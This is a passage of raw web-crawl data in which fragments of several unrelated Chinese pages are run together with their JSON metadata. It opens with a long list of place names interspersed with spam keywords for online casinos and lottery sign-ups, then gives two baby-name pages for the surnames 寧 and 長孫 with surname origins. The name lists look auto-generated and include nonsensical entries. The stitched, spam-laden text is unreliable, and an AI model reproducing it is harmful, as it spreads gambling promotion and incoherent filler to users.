鄂尔多斯 额尔古纳 额济纳旗 峨眉山 恩平 恩施 恩施市 二连浩特 洱源 鄂州 f 法库 繁昌 防城港 方城 方山 房县 繁峙 范县 肥城 肥东 肥西 费县 肥乡 丰城 凤城 奉化 封开 丰南 凤庆 封丘 丰润 丰顺 凤台 凤翔 丰县 凤县 奉新 凤阳 丰镇 汾阳 分宜 佛冈 佛山 福安 阜城 富川 福鼎 扶风 福贡 扶沟 府谷 福建 富锦 阜康 浮梁 阜南 富宁 阜宁 抚宁 富平 福清 福泉 抚顺 富顺 抚松 扶绥 富县 阜新 阜新县 阜阳 富阳 富裕 富源 抚远 扶余 福州 抚州 G 改则 盖州 甘德 甘谷 甘南 甘肃 赣县 赣榆 赣州 甘孜 甘孜县 高安 高碑店 藁城 高淳 高密 高明 高平 高青 高台 高唐 高县 高要 高邮 高州 格尔木 个旧 根河 公安 共和 珙县 巩义 公主岭 固安 广安 广昌 广德 广东 广丰 广汉 广灵 广南 广宁 广平 广饶 光山 广水 广西 广元 光泽 广州 广宗 灌南 馆陶 冠县 灌云 故城 谷城 贵池 贵德 贵定 桂东 贵港 桂林 桂平 贵溪 贵阳 桂阳 贵州 古交 古浪 古蔺 果洛 固始 古田 固阳县 固原 沽源 古丈 固镇 H 哈尔滨 海安 海北 海城 海东 海丰 海口 海拉尔 海林 海伦 海门 海南 海宁 海西 海兴 海阳 海盐 海原 哈密 哈密市 韩城 汉川 邯郸 杭锦后旗 杭州 海南 汉寿 汉阴 汉源 汉中 河北 鹤壁 河池 合肥 鹤峰 鹤岗 黑河 黑龙江 黑山 河间 合江 河津 贺兰 和龙 河南 衡东 衡南 衡山 横山 衡水 衡阳 衡阳县 合浦 河曲 鹤山 合山 合水 和顺 和田 和田县 和县 合阳 河源 菏泽 贺州 合作 红安 洪洞 红河 红河县 洪湖 洪江市 洪雅 洪泽 侯马 华安 华池 桦川 桦甸 花都 淮安 淮北 淮滨 怀化 怀集 怀来 淮南 怀宁 怀仁 淮阳 淮阴 怀远 桦南 潢川 黄冈 黄骅 黄梅 黄南 黄山 黄石 华宁 桓台 环县 华坪 华亭 滑县 华县 华阴 华蓥 花垣 化州 湖北 呼和浩特 惠安 会东 惠东 惠来 会理 惠民 辉南 会宁 惠水 会同 徽县 辉县 惠阳 会泽 惠州 湖口 虎林 葫芦岛 呼伦贝尔 湖南 珲春 浑源 获嘉 霍林郭勒 霍邱 霍山 霍州 户县 湖州 J 嘉禾 夹江 佳木斯 吉安 建昌 建德 江安 江川 江都 剑阁 将乐 江陵 江门 江山 江苏 江西 绛县 姜堰 江阴 江永 江油 江源 建湖 监利 建瓯 建平 建始 犍为 集安 吉安县 建阳 简阳 尖扎 交城 蛟河 交口 蕉岭 胶南 胶州 焦作 嘉善 佳县 嘉祥 郏县 嘉兴 嘉鱼 嘉峪关 鸡东 揭东 界首 揭西 介休 揭阳 吉林 吉林 即墨 济南 金昌 晋城 靖安 靖边 泾川 旌德 景德镇 精河 景洪 靖江 静乐 荆门 静宁 京山 景泰 靖西 景县 泾县 井研 泾阳 靖宇 泾源 靖远 荆州 金湖 金华 济宁 集宁 晋江 金门 金沙 津市 金塔 金坛 金堂 进贤 金乡 金秀 金溪 缙云 金寨 晋中 锦州 晋州 稷山 吉首 吉水 九江 九江县 酒泉 九台 九寨沟 鸡西 集贤 绩溪 济阳 济源 鸡泽 冀州 鄄城 巨鹿 莒南 筠连 浚县 句容 莒县 巨野 K 开封 开封县 开化 开江 凯里 开鲁 开平 开阳 开远 开原 喀喇沁旗 康定 康平 喀什 克东 科尔沁右翼前旗 科尔沁右翼中旗 科尔沁左翼后旗 克拉玛依 垦利 克山 克孜勒苏 库尔勒 奎屯 库伦旗 昆明 昆山 L 来安 来宾 来凤 莱芜 莱西 莱阳 莱州 廊坊 郎溪 阆中 兰考 蓝山 兰西 岚县 兰溪 兰州 老河口 乐陵 拉萨 乐安 乐昌 乐东 乐都 耒阳 雷州 冷水江 乐平 乐清 乐山 乐亭 乐至 连城 梁河 凉山 梁山 莲花 连江 廉江 连平 涟水 涟源 连云港 连州 聊城 辽宁 辽阳 辽源 辽中 黎川 利川 丽江 利津 醴陵 临安 临沧 临川 林甸 临汾 临高 灵宝 灵璧 灵川 陵川 凌海 灵丘 灵山 灵石 陵水 灵台 临桂 灵武 陵县 凌源 临海 临河 临江 林口 临澧 临清 临朐 临泉 临沭 临潭 临洮 临武 临夏 临县 临湘 临夏市 临夏县 临西 临沂 临颍 临猗 临邑 麟游 临泽 临漳 林芝 林芝县 林州 黎平 离石 丽水 溧水 柳城 柳河 柳江 柳林 六盘水 浏阳 柳州 蠡县 澧县 理县 礼县 溧阳 隆安 隆昌 陇川 龙川 龙海 隆化 隆回 龙井 龙口 龙里 龙陵 陇南 龙南 龙泉 陇西 陇县 龙岩 隆尧 龙游 龙州 娄底 娄烦 六安 栾城 栾川 滦南 滦平 滦县 潞城 陆川 鲁甸 泸定 略阳 禄丰 陆丰 陆河 陆良 卢龙 萝北 罗城 罗定 漯河 罗江 洛南 洛宁 罗平 罗山 罗田 洛阳 罗源 鹿泉 芦山 鲁山 卢氏 泸水 泸县 芦溪 泸溪 鹿邑 鹿寨 泸州 吕梁 M 马鞍山 麻城 马尔康 马关 麻栗坡 满城 满洲里 茂名 茂县 玛沁 梅河口 眉山 湄潭 眉县 梅县 梅州 勐海 孟津 勐腊 蒙山 蒙阴 孟州 蒙自 渑池 勉县 绵阳 绵竹 弥勒 汨罗 明光 名山 明水 明溪 闽侯 民乐 民勤 闽清 民权 密山 泌阳 米易 米脂 漠河 沐川 牡丹江 穆棱 N 乃东 奈曼旗 南安 南澳 南部 南昌 南昌县 南充 南丹 南宫 南海 南和 南华 南江 南京 南靖 南康 南乐 南陵 南宁 南皮 南平 南通 南溪 南县 南雄 南阳 南漳 南召 南郑 那曲 那曲县 讷河 内黄 内江 内蒙古 内丘 内乡 嫩江 宁安 宁波 宁城 宁德 宁国 宁海 宁晋 宁津 宁陵 宁明 宁强 宁陕 宁武 宁夏 宁县 宁乡 宁阳 宁远 农安 怒江 P 磐安 盘锦 盘山 磐石 番禺 攀枝花 沛县 蓬安 蓬莱 彭山 蓬溪 彭阳 彭泽 彭州 偏关 平坝 平昌 平定 平顶山 平度 平果 平和 平湖 平利 平凉 平罗 平陆 屏南 平南 平泉 平山 平武 萍乡 凭祥 平乡 平阳 平遥 平邑 平阴 平舆 平原 平远 邳州 浦北 浦城 蒲城 普定 普洱 浦江 普兰 普兰店 普宁 莆田 濮阳 Q 乾安 迁安 黔东南 潜江 黔南 潜山 迁西 黔西南 黔西 千阳 巧家 蕲春 祁东 启东 齐河 祁连 祁门 秦安 庆安 青川 青岛 清丰 青冈 青海 清涧 清流 青神 清水 青田 青铜峡 青县 清新 清徐 庆阳 青阳 清远 庆元 清苑 庆云 清镇 青州 秦皇岛 沁水 沁阳 钦州 琼海 邛崃 琼山 琼中 齐齐哈尔 岐山 七台河 丘北 邱县 杞县 淇县 祁县 栖霞 祁阳 全椒 泉州 确山 曲阜 曲靖 渠县 曲阳 衢州 曲周 R 饶河 饶平 饶阳 仁化 仁怀 任丘 仁寿 任县 日喀则 日喀则市 日土 日照 融安 荣成 容县 荣县 汝城 如东 如皋 瑞安 瑞昌 芮城 瑞金 瑞丽 汝南 乳山 汝阳 汝州 桑植 S 三河 三门 三门峡 三明 三沙 三水 三台 三亚 三原 陕西 沙河 山丹 山东 上蔡 商城 上高 上杭 商河 上栗 上林 商洛 商南 商丘 上饶 上饶县 商水 上思 上犹 上虞 尚志 商州 山南 鄯善 汕头 汕尾 山西 单县 陕县 山阴 邵东 韶关 韶山 邵武 绍兴 绍兴县 邵阳 邵阳县 沙洋 射洪 神池 嵊泗 嵊州 神木 神农架 沈丘 莘县 沈阳 深圳 深州 社旗 涉县 歙县 射阳 施甸 什邡 石河子 石家庄 石楼 石门 石棉 石泉 石狮 石首 石台 始兴 十堰 师宗 石嘴山 寿光 寿宁 寿县 寿阳 双柏 双城 双峰 双辽 双流 双牌 双鸭山 舒城 水城 水富 舒兰 顺昌 顺德 朔州 沭阳 四川 泗洪 四会 思茅 思南 四平 泗水 泗县 泗阳 松潘 松溪 嵩县 松阳 松原 松滋 绥滨 遂昌 遂川 绥德 绥芬河 绥化 绥棱 遂宁 睢宁 绥宁 遂平 遂溪 睢县 随县 濉溪 绥中 随州 肃宁 孙吴 宿迁 宿松 宿豫 苏州 宿州 T 塔城 塔城市 泰安 台安 太白 太仓 太谷 太和 太湖 太康 泰宁 台前 台山 泰顺 泰兴 太原 台州 郯城 唐河 唐山 唐县 汤阴 汤原 桃江 洮南 桃源 腾冲 藤县 滕州 天长 天等 田东 天门 天全 天水 天台 田阳 天镇 天柱 铁力 铁岭 铁岭县 桐柏 通城 桐城 铜川 铜鼓 潼关 通海 通化 通化县 同江 通江 通辽 铜陵 桐庐 铜仁 同仁 通山 铜山 通渭 桐乡 通许 通榆 通州 桐梓 团风 吐鲁番 吐鲁番市 图们 土默特右旗 图木舒克 屯昌 突泉 泰州 W 瓦房店 旺苍 望城 望江 望奎 汪清 万宁 万全 万荣 万源 万载 潍坊 威海 卫辉 渭南 微山 尉氏 蔚县 魏县 威县 渭源 威远 文安 文昌 文成 汶川 文登 瓮安 翁牛特旗 翁源 温岭 文山 汶上 文山市 文水 闻喜 文县 温县 温州 武安 五常 武城 吴川 五大连池 无棣 武定 武都 舞钢 武冈 乌海 武汉 五河 芜湖 芜湖县 无极 吴江 五家渠 武进 乌兰察布 乌兰浩特 乌拉特前旗 乌拉特中旗 五莲 乌鲁木齐 乌鲁木齐县 武鸣 武宁 武平 武强 吴桥 武山 乌审旗 乌苏 五台 武威 无锡 武宣 武穴 舞阳 武邑 武夷山 武义 五原 五寨 武陟 五指山 吴忠 梧州 X 夏河 峡江 夏津 厦门 西安 咸丰 襄城 项城 襄阳 香河 象山 湘潭 湘潭县 湘西 湘乡 湘阴 襄垣 祥云 象州 仙居 咸宁 仙桃 献县 咸阳 仙游 孝昌 孝感 萧山 萧县 孝义 霞浦 夏县 夏邑 西昌 西充 西畴 淅川 西峰 西丰 西和 西华 西吉 锡林郭勒 锡林浩特 新安 新蔡 新昌 忻城 新都 新丰 兴安 新干 兴城 兴化 兴隆 兴宁 兴平 兴仁 邢台 行唐 兴文 兴县 荥阳 兴业 兴义 星子 新河 新化 新会 西宁 辛集 新建 新疆 新绛 新津 新乐 新密 新民 新宁 新邵 新泰 新田 新县 新乡 信阳 新野 信宜 新沂 新余 新郑 忻州 雄县 西平 锡山 西双版纳 浠水 休宁 修水 修武 西乡 息县 西峡 昔阳 西藏 宣城 宣恩 宣汉 宣化县 宣威 宣州 许昌 逊克 旬阳 溆浦 徐水 徐闻 盱眙 叙永 徐州 Y 雅安 牙克石 延安 延边 盐边 延长 盐城 盐池 延川 盐都 阳城 阳春 阳东 阳高 阳谷 阳江 杨凌 阳曲 阳泉 阳山 阳朔 阳西 洋县 阳信 阳新 扬中 扬州 延吉 延津 炎陵 鄢陵 砚山 盐山 偃师 烟台 盐亭 兖州 宜春 叶县 依安 宜宾 宜宾县 宜昌 宜城 宜川 伊川 伊春 宜都 宜丰 宜黄 伊金霍洛旗 宜君 依兰 伊犁 彝良 仪陇 义马 易门 沂南 银川 应城 英德 盈江 荥经 营口 营山 颍上 英山 鹰潭 应县 伊宁市 沂水 义乌 伊吾 易县 义县 黟县 宜兴 益阳 宜阳 沂源 宜章 仪征 宜州 玉林 永安 永昌 永城 永春 永德 永丰 永吉 永嘉 永济 永康 永年 永宁 永清 永仁 永善 永胜 永顺 永泰 永新 永兴 永修 永州 尤溪 攸县 友谊 右玉 远安 沅江 沅陵 元谋 原平 垣曲 元氏 原阳 虞城 禹城 榆次 于都 岳西 岳阳 岳阳县 余杭 玉环 余江 榆林 玉门 云安 郁南 运城 郓城 云浮 云和 云梦 云南 云县 郧县 云霄 郧西 榆社 玉树 榆树 玉树县 鱼台 玉田 玉溪 盂县 余姚 禹州 Z 杂多 扎赉特旗 扎鲁特旗 枣强 枣阳 枣庄 增城 泽州 扎兰屯 张北 张家港 张家界 张家口 漳平 漳浦 章丘 樟树 彰武 漳县 张掖 漳州 沾化 湛江 沾益 诏安 肇东 昭平 肇庆 昭通 赵县 招远 肇源 肇州 柞水 柘城 浙江 镇安 镇巴 贞丰 正定 政和 正阳 郑州 镇江 镇赉 镇平 镇雄 镇原 镇远 柘荣 志丹 枝江 织金 中方 中江 中牟 中山 中卫 钟祥 中阳 周口 周宁 舟曲 舟山 庄河 庄浪 诸城 珠海 诸暨 驻马店 准格尔旗 涿鹿 涿州 竹山 竹溪 株洲 株洲县 淄博 子长 自贡 秭归 紫金 人人中彩票太阳厅DS 资溪 资兴 资阳 紫阳 资中 子洲 枞阳 太阳城申博88登入 邹平 遵化 遵义 遵义县 左权 左云 d8彩票疯狂赛车 在线赌大小开户 百盛娱乐电子游戏官网 超达彩票福建快3 申博最新微信充值 钱柜娱乐软件下载 万趣娱乐会员开户 捷乐彩票三分快乐8 新葡京真人娱乐 钱柜代理佣金天天结算 威尼斯人游戏平台 澳门娱乐菲律宾客户端 赌王2级会员 通博城在线开户 澳门云顶的APP 安卓小游戏棋牌游戏 福鹿彩票最高返水 申博直营网登入 申博在线娱乐登入网址 菲律宾申博代理合作 ?","id":"","dump":"CC-MAIN-2021-43","url":"http:\/\/756.3366748.com\/bx.html","date":"2021-10-28T20:33:03Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-43\/segments\/1634323588526.57\/warc\/CC-MAIN-20211028193601-20211028223601-00203.warc.gz","language":"lzh","language_score":0.6302874088,"language_script":"Hani","minhash_cluster_size":4,"top_langs":"{\"lzh_Hani_score\": 0.6302874088287354, \"cmn_Hani_score\": 0.22269423305988312, \"nan_Hani_score\": 0.1358327716588974}","num_words":1861,"character_repetition_ratio":0.001,"word_repetition_ratio":0.0,"special_characters_ratio":0.316,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.633,"perplexity_score":500.0,"cluster_detection":1} +{"text":"現在的父母對孩子的名字越來越重瞭,起名字成瞭慎之又慎的事,寧姓是當今中國姓氏排行第一百八十七位的姓氏,人口較多,約占全國漢族人口的百分之零點零五,那姓寧的男寶寶該如何取名呢?下面生肖網為大傢分析姓寧的好聽男孩名字。\n姓寧的好聽的男孩名字\n寧緣 寧舟飛 寧析研 寧德偉 寧雨秦 寧博昌 寧禧敏 寧惠方 寧子涵 寧進才 寧秉承 寧申城 寧政豪 寧矜 寧若蕓 寧瀅淼 寧如乙 寧濯馥 寧哲祺 寧恒 寧奐禳 寧仲祥 寧順華 寧賢武 寧德兵 寧鑫宇 寧坤 寧懿涵 寧舒琦 寧宇春 寧貽衡 寧原漠 寧隆耕 寧海 寧紀冰 寧建明 寧幸源 寧巖 寧攸涵 寧詩沾 寧三焱 寧小立 寧焯然 寧東作 寧元汶 寧天昊 寧馨源 寧澄 寧朦朧 寧汝喜 寧依鎂 寧顏顏 寧巖元 寧賢才 寧梓莘 寧文件 寧安憩 寧樂 寧鴻梁 寧軒赫 寧金生 寧哥 寧有財 寧明海 寧炫海 寧天麒 寧順繼 寧德祥 寧楚楚 寧韻 寧潔螢 寧金碩 寧瑞齊 寧籽亭 寧禮豪 寧康靈 寧山 寧塋寧 寧景名 寧樹堰 寧國元 寧一婕 寧健剛 寧凡閔 寧祺瑞 寧敏莊 寧冬蘭 寧景邦 寧烈軍 寧宏水 寧傑妮 寧傢何 寧愷凱 寧惠敏 寧臣 寧富良 寧添維 寧自強 寧航華 寧淳鈞 寧達莊 寧井惠 寧運桃 寧坤泉 寧延愷 寧晨 寧哲 寧尹罡 寧景富 寧傑 寧鑫祥 寧雪兒 寧赫雲 寧淳馨 寧銘 寧子僮 寧宏為 寧澤豪 寧卓聰 寧彪 寧志輝 寧濼錦 寧咣盈 寧亮星 寧文宇 寧嘉夷 寧明山 寧子星 寧蟈俊 寧仙榮 寧煒昌 寧凌雲 寧灼煙 寧天諾 寧子平 寧豆 寧晨昕 寧霽洋 寧翠嫦 寧傑武 寧萬紫 寧歡海 寧艷妮 寧嫗 寧詹鵬 寧凈頤 寧佳瑾 寧耀武 寧國民 寧紅祿 寧聯華 寧顥闌 寧廣友 寧詩 寧康源 寧旭然 寧白擇 寧如江 寧宇 寧秦豆 寧力凡 寧煥佳 寧星歟 寧靖欣 寧小鈞 寧加 寧禳躒 寧大衛 寧如童 寧冬秀 寧嘉韻 寧慧泠 寧翊筠 寧思旋 寧浙帆 寧燦澡 寧軒然 寧天澤 寧鄭行 寧驥瑯 寧伯洋 寧密 寧利 寧欣雨 寧奕同 寧飛男 寧俊靈 寧衛欣 寧兆成 寧飛瀟 寧泓波 寧昕宜 寧舒裡 寧璦珊 寧藹韞 寧小敬 寧欷鍰 寧恩茁 寧雯蕙 寧鴻躍 寧申奧 寧柯歆 寧葉餅 寧韋明 寧小皓 寧笑迎 寧黎宏 寧啟來 寧涪雯 寧嘉傑 寧浩然 寧可盈 寧日久 寧靜如 寧新祺 寧宗義 寧英飛 寧芳雨 寧旭旭 寧臨鈞 寧湞程 寧樂築 寧玉珊 寧宇皓 寧月超 寧柯旭 寧靜儀 寧浩 寧瑜純 寧海煊 寧炫浩 寧鷹 寧羅平 寧京洙 寧海林 寧蘢 寧文泰 寧敏華 寧達康 寧燁 寧興翔 寧佳興 寧恒淼 寧菡茵 寧海濤 寧得偉 寧樂 寧一多 寧旭東 寧孝奏 寧海臻 寧明超 寧帥劭 寧向陽 寧唐海 寧沛成 寧妤 寧忠旭 寧茂栓 寧碧清 寧鳳明 寧召輝 寧梓逸 寧皓 寧俊羽 寧崇 寧凱璐 寧立蘭 寧鑫鴻 寧蕊瑜 寧彥越 寧饒臏 寧俊豐 寧伯維 寧垣熹 寧明博 寧愛焰 寧燃 寧志宏 寧超明 寧敬宣 寧順耀 寧力 寧龍波 寧羽純 寧元發 寧雨杭 寧懌 寧積煊 寧嵐依 寧永康 寧宏晟 寧佳鈺 寧萬泉 寧杜璇 寧瀚林 寧亞澤 寧畫淇 寧耿才 寧侃 寧川風 寧月華 寧健海 寧耕馳 寧笑涓 寧中 寧莎 寧子安 寧皓純 寧辰 寧炳芹 寧可蘭 寧二 寧美鳳 寧雅君 寧勇 寧志富 寧卿周 寧驤 寧正溯 寧一拖 寧炯農 寧霈澤 寧連垛 寧嫻 寧陟飛 寧和薰 寧鶴忠 寧顯淳 寧保興 寧錚 寧黎 寧仕江 寧志皓 寧浩威 寧禾 寧易達 寧灩 寧漢榮 寧輝俊 寧青蘊 寧秀芝 寧沐時 寧珈蕓 寧昱暄 寧鑫淋 寧縵 寧晨皓 寧長祺 寧尚 寧志蔚 寧正午 寧翔涵 寧涼 寧錦乘 寧鳳新 寧勁松 寧騰中 寧小貝 寧妤兮 寧鵬飛 寧偉生 寧依 寧一鳴 寧向前 寧思琦 寧應鑫 寧振清 寧雪靜 寧嘉順 寧時鵬 寧春 寧國旗 寧倫 寧麗華 寧嘉伊 寧小剛 寧炳足 寧天祿 寧壞蛋 寧耀元 寧義承 寧淵鵬 寧筱筱 寧袁濤 寧竺良 寧凡妮 寧劍亞 寧煬瀚 寧榮軍 寧曉龍 寧思凱 寧曉春 寧春明 寧增弟 寧薺幃 寧言朋 寧若菡 寧五四\n》》還是沒有找到滿意的名字?不妨問問大師。[1] [2]\n寧暄 寧欣 寧遠 寧遠 寧燦 寧馨 寧遠 寧林 寧耕 寧航 寧嶽 寧群 寧生 寧童 寧捷 寧溪 寧遠 寧超 寧翔 寧輝 寧祝 寧楓 寧松 寧佩 寧釩 寧燦 寧崗 寧翼 寧川 寧璐 寧希 寧東 寧鑫 寧喬 寧恒 寧婕 寧恬 寧輝 寧熾 寧鶇 寧遠 寧智 寧鈞 寧黛 寧喬 寧熙 寧虹 寧帥 寧晨 寧靜 寧芩 寧斐 寧博 寧次 寧晉 寧宇 寧濤 寧鎧 寧萱 寧馨 寧然 寧平 寧一 寧菲 寧珍 寧源 寧軍 寧銀 寧忻 寧宇 寧海 寧闌 寧佳 寧鴻 寧健 寧瑜 寧遠 寧燦 寧欣 寧豐 寧鱺 寧吉 寧恫 寧遠 寧春 寧歡 寧丁 寧顫 寧習 寧遠 寧巖 寧珊 寧樺 寧靜 寧焱 寧軍 寧宙 寧黛 寧輝 寧心 寧剛 寧遠 寧煊 寧志 寧浩 寧兒 寧歡 寧荃 寧堯 寧宇 寧化 寧凱 寧鸚 寧愚 寧滔 寧思 寧生 寧車 寧彤 寧灩 寧聰 寧昊 寧瀾 寧馨 寧植 寧暢 寧定 寧惠\n》》還是沒有找到滿意的名字?不妨問問大師。\n寧姓來源有四:1、春秋時衛大夫寧俞之後。2、出自姬姓。據《姓氏急就篇·註》及《姓氏考略》所載,文王之子衛康叔之後有衛成公,成公封其子季〓於寧邑(今河南修武),子孫以邑為氏(實與①相矛盾,寧俞為衛成公時忠臣,成公不可能把一地封於兩人,與古制不符)。3、出自嬴姓。據《元和姓纂》所載,寧與秦同姓,秦襄公曾孫謚寧公,支庶以謚為氏。4、出自他族改姓而來。清滿洲八旗姓寧古塔氏、寧佳氏等均有改為寧姓者;今滿、蒙古等少數民族均有此姓。\n(責任編輯:八字免費算命網)[1] [2]","id":"","dump":"CC-MAIN-2017-30","url":"http:\/\/www.share4tw.com\/archives\/286070","date":"2017-07-24T20:43:16Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-30\/segments\/1500549424910.80\/warc\/CC-MAIN-20170724202315-20170724222315-00347.warc.gz","language":"lzh","language_score":0.9729707837,"language_script":"Hani","minhash_cluster_size":8,"top_langs":"{\"lzh_Hani_score\": 0.9729707837104797, \"nan_Hani_score\": 0.02402493730187416}","num_words":533,"character_repetition_ratio":0.011,"word_repetition_ratio":0.0,"special_characters_ratio":0.262,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.974,"perplexity_score":500.0,"cluster_detection":1} +{"text":"姓長孫的好聽的男孩名字有哪些呢?名字對人的一生是至關重要的,它在見面之前就已經決定瞭別人對你的第一印象,而且在漫長的人生裡,還無數次地暗示著你自己對未來的判斷,因此給孩子起名,一定要慎重,那姓長孫的男寶寶該取什麼樣的名字,下面姓名網為大傢介紹,姓長孫的好聽的男孩名字!\n姓長孫的好聽的男孩名字\n長孫行 長孫玉力 長孫嘉祥 長孫梓涵 長孫懿霖 長孫彥憬 長孫鎰輝 長孫嶽 長孫文萱 長孫翔輝 長孫筱敏 長孫曉然 長孫子昂 長孫玉姣 長孫佳樂 長孫沂 長孫亦浩 長孫益昃 長孫兆虎 長孫翕好 長孫君天 長孫涵圳 長孫鋒 長孫建 長孫羿姝 長孫恒越 長孫宸愷 長孫夢清 長孫歐漣 長孫子海 長孫蕙郡 長孫躍銘 長孫旭 長孫瀚功 長孫鐵軍 長孫允霄 長孫占剛 長孫載曙 長孫奕旭 長孫侃 長孫衛精 長孫博銘 長孫兆益 長孫鵬鑫 長孫佳淇 長孫格格 長孫景翠 長孫卓靜 長孫靖 長孫良志 長孫翌 長孫桌 長孫金山 長孫韓冰 長孫玉心 長孫鐘山 長孫除 長孫梓芯 長孫寅初 長孫蓬勃 長孫天酆 長孫曄 長孫思晴 長孫禹博 長孫嘉周 長孫小肆 長孫昭彤 長孫大勝 長孫傲冰 長孫慎微 長孫瀚嘉 長孫宣東 長孫艷波 長孫丹丹 長孫衛國 長孫極極 長孫華屏 長孫積智 長孫采 長孫新民 長孫清 長孫凌涵 長孫依昀 長孫作庥 長孫騰克 長孫昌權 長孫柳齡 長孫若萱 長孫香 長孫育富 長孫霈霖 長孫欣傑 長孫延荃 長孫蘭賓 長孫旭豪 長孫育定 長孫增洋 長孫傢俊 長孫浩勛 長孫青鈺 長孫德韶 長孫國糧 長孫祖賢 長孫旺財 長孫正光 長孫峰煒 長孫彥海 長孫鈞 長孫大城 長孫海新 長孫聖華 長孫傢儀 長孫廣志 長孫十四 》》還是沒有找到滿意的名字?不妨問問大師。\n長孫俊男 長孫林林 長孫晨璇 長孫涵 長孫梓歆 長孫曉虹 長孫竹一 長孫海涵 長孫雯淇 長孫奕彤 長孫湘君 長孫楚橋 長孫香蕓 長孫弈舒 長孫芳瑾 長孫慧茜 長孫煦 長孫啟纖 長孫川君 長孫瑋華 長孫良玖 長孫伯修 長孫峻誠 長孫巍 長孫景元 長孫昕然 長孫童介 長孫景騫 長孫雲霖 長孫伯蕹 長孫涵 長孫以元 長孫英埔 長孫女驪 長孫蓁爾 長孫肫 長孫炎毅 長孫聖博 長孫俊清 長孫文斌 長孫潤東 長孫熱望 長孫萬壽 長孫鈺茗 長孫軼平 長孫淑婉 長孫唯 長孫洪波 長孫曉軒 長孫鈴歡 長孫旭茇 長孫西鰥 長孫泳晁 長孫烽恒 長孫澍桀 長孫煥炳 長孫海海 長孫筱影 長孫天維 長孫冰馨 長孫薇勻 長孫雪飛 長孫萌涵 長孫烽泰 長孫聆靈 長孫立民 長孫嘉婕 長孫筱葒 長孫睿嘉 長孫未同 長孫致睿 長孫永響 長孫淑環 長孫力寧 長孫上賢 長孫業 長孫忠風 長孫紮特 長孫爭頡 長孫添香 長孫英達 長孫欽鑫 長孫浩林 長孫貝一 長孫秋凌 長孫文栩 長孫一帆 長孫謹尚 長孫鋮君 長孫七 長孫蘇卓 長孫涵楨 長孫秀智 長孫藝梳 長孫香凝 長孫晨菲 長孫森 長孫魏朋 長孫銀強 長孫恩立 長孫虹繽 長孫芮斬 長孫達虎 長孫必雷 長孫飛雁 長孫瑞淼 長孫帆 長孫玉圓 長孫改寧 長孫京 長孫雅凝 長孫佩杉 長孫雪貞 長孫還樂 長孫瑞葵 長孫中厚 長孫貴軍 長孫天睿 長孫春和 長孫麟翔 長孫遠昊 長孫芷宜 長孫魚菲 長孫棱波 長孫清 長孫柔 長孫爍陽 長孫之淳 長孫思彤 長孫輝 長孫煜洪 長孫文海 長孫好琪 長孫鈺迪 長孫詩蕊 長孫宇珩 長孫雲輝 長孫玉斌 長孫瑾玢 長孫轟隆 長孫舜凱 長孫彥 長孫夢成 長孫蓮今 長孫奕歌 長孫元香\n長孫漢民 長孫晟 長孫奇 長孫楠方 長孫塬爍 長孫紹榮 長孫彥平 長孫劍明 長孫國強 長孫高晨 長孫凡博 長孫楚菲 長孫琪魘 長孫雪瑞 長孫慶濤 長孫文菲 長孫紹杭 長孫文滴 長孫超航 長孫若婕 長孫子君 長孫博雅 長孫玉傑 長孫鶴仁 長孫樂羽 長孫俊芝 長孫爾凡 長孫彥基 長孫坤貝 長孫鯨宇 長孫依蘭 長孫一寧 長孫宇健 長孫展鵬 長孫少齊 長孫躍健 長孫語璐 長孫彥直 長孫澍濡 長孫清風 長孫阿炳 長孫雨蕉 長孫禹翰 長孫明眸 長孫功雲 長孫寒狼 長孫桂杉 長孫傢敏 長孫叢邱 長孫健偉 長孫朋飛 長孫瀾 長孫笑巖 長孫嘉恒 長孫維甲 長孫鵬磊 長孫焱鈴 長孫依葉 長孫鐳 長孫半林 長孫明發 長孫梓鑫 長孫桐 長孫婉祺 長孫雲納 長孫智高 長孫敏維 長孫華 長孫曉昕 長孫儻 長孫嶼 長孫文軍 長孫林瀚 長孫玉輝 長孫志龍 長孫鑫 長孫蕊 長孫銘瑋 長孫海海 長孫傳安 長孫嘉寶 長孫慧驊 長孫輝 長孫永軒 長孫若妤 長孫閔棋 長孫新揚 長孫漢旭 長孫子航 長孫少波 長孫嘯 長孫世駿 長孫一瑋 長孫志飛 長孫丁 長孫鑫顏 長孫寶華 長孫辰丹 長孫建心 長孫寶國 長孫中正 長孫新語 長孫允昊 長孫曉舟 長孫梓俊 長孫穸苫 長孫特生 長孫彥雲 長孫駿雷 長孫錦濤 長孫慧敏 長孫文毅 長孫征 長孫綿霖 長孫俞彤 長孫曉韻 長孫騰達 長孫立霖 長孫芹芹 長孫藝格 長孫淑敏 長孫以潤 長孫緣 長孫典雅 長孫粲星 長孫君 長孫匯康 長孫振偉 長孫雨涵 長孫中武 長孫子華 長孫雪峰 長孫如姍 長孫政太 長孫朗 長孫馨縈 長孫翼 長孫梔強 長孫瀚衡 》》還是沒有找到滿意的名字?不妨問問大師。\n長孫(Zhǎng sūn 長孫)姓源出有二:\n1、出自北魏皇室沙莫雄,為拓跋氏所改。長孫復姓本為拓跋氏,為後魏獻文帝第三兄拓跋嵩之後。北魏道武帝拓跋珪的曾祖父拓跋鬱律有兩個兒子:大兒子沙英雄為南部大人,號拓跋氏;小兒子什翼健就是拓跋珪的祖父,拓跋珪建立北魏稱帝後,因沙英雄是曾祖父的兒子,就賜他的兒子為長孫氏。長孫嵩後來位至太尉,封為北平王;他的侄子長孫道生屢建戰功,位至宰相,封為上黨王。拓跋嵩因有功於魏,世襲為王族大人。孝文帝時,以拓跋姓為魏朝皇族宗室之長門,故改姓為長孫氏。\n2、出自北魏之前有長孫氏。據《漢書?藝文志》和《孝經》上記載有長孫順\"長孫氏說\"二篇,西漢時期已有長孫氏。(責任編輯:八字免費算命網)","id":"","dump":"CC-MAIN-2017-30","url":"http:\/\/www.share4tw.com\/archives\/285497","date":"2017-07-21T20:58:36Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-30\/segments\/1500549423809.62\/warc\/CC-MAIN-20170721202430-20170721222430-00389.warc.gz","language":"lzh","language_score":0.484146893,"language_script":"Hani","minhash_cluster_size":9,"top_langs":"{\"lzh_Hani_score\": 0.4841468930244446, \"jpn_Jpan_score\": 0.45227906107902527, \"cmn_Hani_score\": 